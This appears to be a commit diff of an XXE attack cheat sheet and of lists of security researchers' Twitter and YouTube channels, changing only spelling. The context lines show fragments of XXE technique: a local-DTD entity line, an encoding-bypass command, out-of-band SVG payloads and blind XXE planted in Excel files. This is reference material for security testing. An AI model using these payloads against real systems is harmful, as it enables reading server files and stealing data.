<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd"> <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">
@ -503,7 +504,7 @@ cat utf8exploit.xml | iconv -f UTF-8 -t UTF-16BE > utf16exploit.xml
## XXE in Java ## XXE in Java
Unsecure configuration in 10 different Java classes from three XML processing interfaces (DOM, SAX, StAX) that can lead to XXE: Insecure configuration in 10 different Java classes from three XML processing interfaces (DOM, SAX, StAX) that can lead to XXE:
![XXE Java security features overview infographics](https://semgrep.dev/docs/assets/images/cheat-sheets-xxe-java-infographics-1d1d5016802e3ab8f0886b62b8c81f21.png) ![XXE Java security features overview infographics](https://semgrep.dev/docs/assets/images/cheat-sheets-xxe-java-infographics-1d1d5016802e3ab8f0886b62b8c81f21.png)
@ -544,7 +545,7 @@ Ref.
**OOB via SVG rasterization** **OOB via SVG rasterization**
*xxe.svg* _xxe.svg_
```xml ```xml
<?xml version="1.0" standalone="yes"?> <?xml version="1.0" standalone="yes"?>
@ -650,7 +651,7 @@ Add your blind XXE payload inside `xl/workbook.xml`.
<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"> <workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">
``` ```
Alternativly, add your payload in `xl/sharedStrings.xml`: Alternatively, add your payload in `xl/sharedStrings.xml`:
```xml ```xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <?xml version="1.0" encoding="UTF-8" standalone="yes"?>

2
_LEARNING_AND_SOCIALS/TWITTER.md
View file

@ -20,7 +20,7 @@ Twitter is very common in the InfoSec area. Many advices and tips on bug hunting
- [@hakluke - Bug bounty hunter, content creator, creator of some great pentesting tools like hakrawler](https://twitter.com/hakluke) - [@hakluke - Bug bounty hunter, content creator, creator of some great pentesting tools like hakrawler](https://twitter.com/hakluke)
- [@spaceraccoon - Security researcher and white hat hacker. Has worked on several bug bounty programs](https://twitter.com/spaceraccoonsec) - [@spaceraccoon - Security researcher and white hat hacker. Has worked on several bug bounty programs](https://twitter.com/spaceraccoonsec)
- [@samwcyo - Full time bug bounty hunter](https://twitter.com/samwcyo) - [@samwcyo - Full time bug bounty hunter](https://twitter.com/samwcyo)
- [@Th3G3nt3lman - Security Reasearch & Bug bounty hunter](https://twitter.com/Th3G3nt3lman) - [@Th3G3nt3lman - Security Research & Bug bounty hunter](https://twitter.com/Th3G3nt3lman)
- [@securinti - Dutch bug bounty hunter & head of hackers and bord member @ intigriti](https://twitter.com/securinti) - [@securinti - Dutch bug bounty hunter & head of hackers and bord member @ intigriti](https://twitter.com/securinti)
- [@jobertabma - Co-founder of HackerOne, security researcher](https://twitter.com/jobertabma) - [@jobertabma - Co-founder of HackerOne, security researcher](https://twitter.com/jobertabma)
- [@codingo_ - Global Head of Security Ops and Researcher Enablement bugcrowd, Maintainer of some great pentesting tools like NoSQLMap or VHostScan](https://twitter.com/codingo_) - [@codingo_ - Global Head of Security Ops and Researcher Enablement bugcrowd, Maintainer of some great pentesting tools like NoSQLMap or VHostScan](https://twitter.com/codingo_)

2
_LEARNING_AND_SOCIALS/YOUTUBE.md
View file

@ -4,7 +4,7 @@
- [IppSec Channel - Hack The Box Writeups](https://www.youtube.com/channel/UCa6eh7gCkpPo5XXUDfygQQA) - [IppSec Channel - Hack The Box Writeups](https://www.youtube.com/channel/UCa6eh7gCkpPo5XXUDfygQQA)
- [LiveOverflow - Explore weird machines...](https://www.youtube.com/channel/UClcE-kVhqyiHCcjYwcpfj9w) - [LiveOverflow - Explore weird machines...](https://www.youtube.com/channel/UClcE-kVhqyiHCcjYwcpfj9w)
- [GynvaelEN - Podcasts about CTFs, computer security, programing and similar things.](https://www.youtube.com/channel/UCCkVMojdBWS-JtH7TliWkVg) - [GynvaelEN - Podcasts about CTFs, computer security, programming and similar things.](https://www.youtube.com/channel/UCCkVMojdBWS-JtH7TliWkVg)
- [John Hammond - Wargames and CTF writeups](https://www.youtube.com/channel/UCVeW9qkBjo3zosnqUbG7CFw) - [John Hammond - Wargames and CTF writeups](https://www.youtube.com/channel/UCVeW9qkBjo3zosnqUbG7CFw)
- [Murmus CTF - Weekly live streamings](https://www.youtube.com/channel/UCUB9vOGEUpw7IKJRoR4PK-A) - [Murmus CTF - Weekly live streamings](https://www.youtube.com/channel/UCUB9vOGEUpw7IKJRoR4PK-A)
- [PwnFunction](https://www.youtube.com/channel/UCW6MNdOsqv2E9AjQkv9we7A) - [PwnFunction](https://www.youtube.com/channel/UCW6MNdOsqv2E9AjQkv9we7A)